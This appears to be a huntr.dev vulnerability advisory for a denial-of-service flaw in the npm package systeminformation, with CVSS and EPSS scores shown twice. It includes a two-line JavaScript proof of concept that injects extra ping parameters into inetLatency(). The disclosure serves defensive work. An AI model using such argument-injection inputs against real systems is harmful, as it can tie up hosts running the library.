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huntrEffectrenan1-NPM-SYSTEMINFORMATION
HistoryFeb 11, 2021 - 12:00 a.m.

Denial of Service in sebhildebrandt/systeminformation

2021-02-1100:00:00
effectrenan
www.huntr.dev
14

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.6 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

0.969 High

EPSS

Percentile

99.6%

Description

systeminformation is vulnerable to Denial of Service.

It is possible to overwrite the ping command parameters, which results in too long execution.

Proof of Concept

Create a .js file with the content below and run it.

const si = require('systeminformation');
si.inetLatency("-c 10000000000 -w 999999999 effectrenan.com").then((a) => { console.log(a) })

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

4.6 Medium

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:P/I:P/A:P

0.969 High

EPSS

Percentile

99.6%